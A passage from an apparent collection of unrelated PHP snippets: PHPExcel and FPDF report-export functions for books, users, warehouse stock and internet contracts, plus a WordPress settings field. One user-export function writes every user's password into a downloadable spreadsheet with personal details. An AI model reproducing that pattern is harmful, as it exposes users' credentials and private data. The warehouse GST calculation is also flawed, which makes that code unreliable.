$excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function addTableHeader( $data, $params = array(), $rgbColor = 'FFFFFF', $rgbBackgroundColor = '00B0F0', $set_gnm_legend = true ) {\n\n if(empty($params)){\n $params = $this->estiloCabecera;\n }\n\t\t// offset\n\t\tif (array_key_exists('offset', $params))\n\t\t\t$offset = is_numeric($params['offset']) ? (int)$params['offset'] : PHPExcel_Cell::columnIndexFromString($params['offset']);\n\t\t// font name\n\t\tif (array_key_exists('font', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setName($params['font_name']);\n\t\t// font size\n\t\tif (array_key_exists('size', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setSize($params['font_size']);\n\t\t// bold\n\t\tif (array_key_exists('bold', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setBold($params['bold']);\n\t\t// italic\n\t\tif( array_key_exists('italic', $params ))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setItalic($params['italic']);\n\n $styleArray = array(\n 'font' => array(\n 'color' => array('rgb' => $rgbColor),\n ),\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => $rgbBackgroundColor),\n ),\n );\n\n /*$styleArray2 = array(\n 'font' => array(\n 'color' => array('rgb' => 'FFFFFF'),\n ),\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n //'color' => array('rgb'=>'115372'),\n 'color' => array('rgb'=>'319FEE'),\n ),\n 'borders' => array(\n 'allborders' => array(\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\n 'color' => array('argb' => 'FF000000'),\n )\n ),\n );*/\n\n $this->xls->getActiveSheet()->getStyle($this->row)->applyFromArray( $styleArray );\n\n\n\n //$this->xls->getActiveSheet()->getStyle($this->row)->applyFromArray( $styleArray2 );\n\n\n\n\t\t// set internal params that need to be processed after data are inserted\n\t\t$this->tableParams = array(\n\t\t\t'header_row' => $this->row,\n\t\t\t'offset' => $offset,\n\t\t\t'row_count' => 0,\n\t\t\t'auto_width' => array(),\n\t\t\t'filter' => array(),\n\t\t\t'wrap' => array()\n\t\t);\n\n\t\tforeach( $data as $d ){\n\t\t\t// set label\n if( !empty( $d['file'] ) ){\n if( !$this->addImage( $d['file'], PHPExcel_Cell::stringFromColumnIndex( $offset ), $this->row ) ){\n $this->xls->getActiveSheet()->setCellValueExplicitByColumnAndRow($offset, $this->row, $d['label']);\n }\n } else{\n $this->xls->getActiveSheet()->setCellValueByColumnAndRow($offset, $this->row, $d['label']);\n }\n\t\t\t// set width\n //$this->tableParams['auto_width'][] = $offset;// siempre auto\n\t\t\tif (array_key_exists('width', $d)) {\n\t\t\t\tif ($d['width'] == 'auto')\n\t\t\t\t\t$this->tableParams['auto_width'][] = $offset;\n\t\t\t\telse\n\t\t\t\t\t$this->xls->getActiveSheet()->getColumnDimensionByColumn($offset)->setWidth((float)$d['width']);\n\t\t\t}\n\t\t\t// filter\n\t\t\tif (array_key_exists('filter', $d) && $d['filter'])\n\t\t\t\t$this->tableParams['filter'][] = $offset;\n\t\t\t// wrap\n\t\t\tif (array_key_exists('wrap', $d) && $d['wrap'])\n\t\t\t\t$this->tableParams['wrap'][] = $offset;\n\n\t\t\t$offset++;\n\t\t}\n\t\t$this->row++;\n\n if( $set_gnm_legend ) {\n $this->xls->getActiveSheet()->setCellValue('A1', \"provided by\\nGNM INTERNATIONAL\");\n $this->xls->getActiveSheet()->getStyle('A1')->getAlignment()->setWrapText(true);\n\n $this->xls->getActiveSheet()->getStyle('A1')->applyFromArray(array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_RIGHT,\n ),\n 'font' => array(\n 'bold' => true,\n 'color' => array('rgb' => '0000FF'),\n 'size' => 7,\n 'name' => 'Calibri'\n )\n ));\n }\n\n\t}", "public function export_summary($id)\n {\n $results = $this->Warehouse_model->getAllDetails($id);\n $FileTitle = 'warehouse Summary Report';\n\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Report Sheet');\n //set cell A1 content with some text\n $this->excel->getActiveSheet()->setCellValue('B1', 'Product Details');\n\n $this->excel->getActiveSheet()->setCellValue('A3', 'DN No.');\n $this->excel->getActiveSheet()->setCellValue('B3', (!empty($results) ? $results[0]->dn_number : \"\"));\n $this->excel->getActiveSheet()->setCellValue('D3', ' Date');\n $this->excel->getActiveSheet()->setCellValue('E3', (!empty($results) ? $results[0]->warehouse_date : \"\"));\n $this->excel->getActiveSheet()->setCellValue('G3', 'Received From');\n $this->excel->getActiveSheet()->setCellValue('H3', (!empty($results) ? $results[0]->employee_name : \"\"));\n\n $this->excel->getActiveSheet()->setCellValue('A5', 'Category Name');\n $this->excel->getActiveSheet()->setCellValue('B5', 'Product Type Name');\n $this->excel->getActiveSheet()->setCellValue('C5', 'Product Name');\n $this->excel->getActiveSheet()->setCellValue('D5', 'total_Quantity');\n $this->excel->getActiveSheet()->setCellValue('E5', 'Product Price');\n $this->excel->getActiveSheet()->setCellValue('F5', 'Total Amount');\n $this->excel->getActiveSheet()->setCellValue('G5', 'GST %');\n $this->excel->getActiveSheet()->setCellValue('H5', 'HSN');\n $this->excel->getActiveSheet()->setCellValue('I5', 'Markup %.');\n\n $a = '6';\n $sr = 1;\n $qty = 0;\n $product_mrp = 0;\n $total = 0;\n $totalGST = 0;\n $finalTotal = 0;\n //print_r($results);exit;\n foreach ($results as $result) {\n\n /*$total = $result->sum + $result->transport ;\n $returnAmt = $this->Crud_model->GetData('purchase_returns','sum(return_amount) as return_amount',\"purchase_order_id='\".$result->id.\"'\",'','','','single');\n $total = $total - $returnAmt->return_amount;*/\n\n $this->excel->getActiveSheet()->setCellValue('A' . $a, $result->title);\n $this->excel->getActiveSheet()->setCellValue('B' . $a, $result->type);\n $this->excel->getActiveSheet()->setCellValue('C' . $a, $result->asset_name);\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $result->total_quantity);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($result->total_quantity * $result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('G' . $a, $result->gst_percent);\n $this->excel->getActiveSheet()->setCellValue('H' . $a, $result->hsn);\n $this->excel->getActiveSheet()->setCellValue('I' . $a, $result->markup_percent);\n //$this->excel->getActiveSheet()->setCellValue('G'.$a, $result->status);\n //$this->excel->getActiveSheet()->setCellValue('H'.$a, $total);\n $sr++;\n $a++;\n $qty += $result->total_quantity;\n $product_mrp += $result->product_mrp;\n $total += $result->total_quantity * $result->product_mrp;\n $totalGST += (($result->gst_percent / 100) * ($total));\n }\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $qty);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($total, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 1), \"Total GST Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 1), \"Rs. \" . number_format($totalGST, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 2), \"TFinal Total Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 2), \"Rs. \" . number_format($totalGST + $total, 2));\n\n $this->excel->getActiveSheet()->getStyle('B1')->getFont()->setSize(14);\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('D5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('F5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('H5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('I5')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('H3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->mergeCells('A1:H1');\n $this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $filename = '' . $FileTitle . '.xls'; //save our workbook as this file name\n header('Content-Type: application/vnd.ms-excel'); //mime type\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n header('Cache-Control: max-age=0'); //no cache\n ob_clean();\n\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n //if you want to save it as .XLSX Excel 2007 format\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n //force user to download the Excel file without writing it to server's HD\n $objWriter->save('php://output');\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n 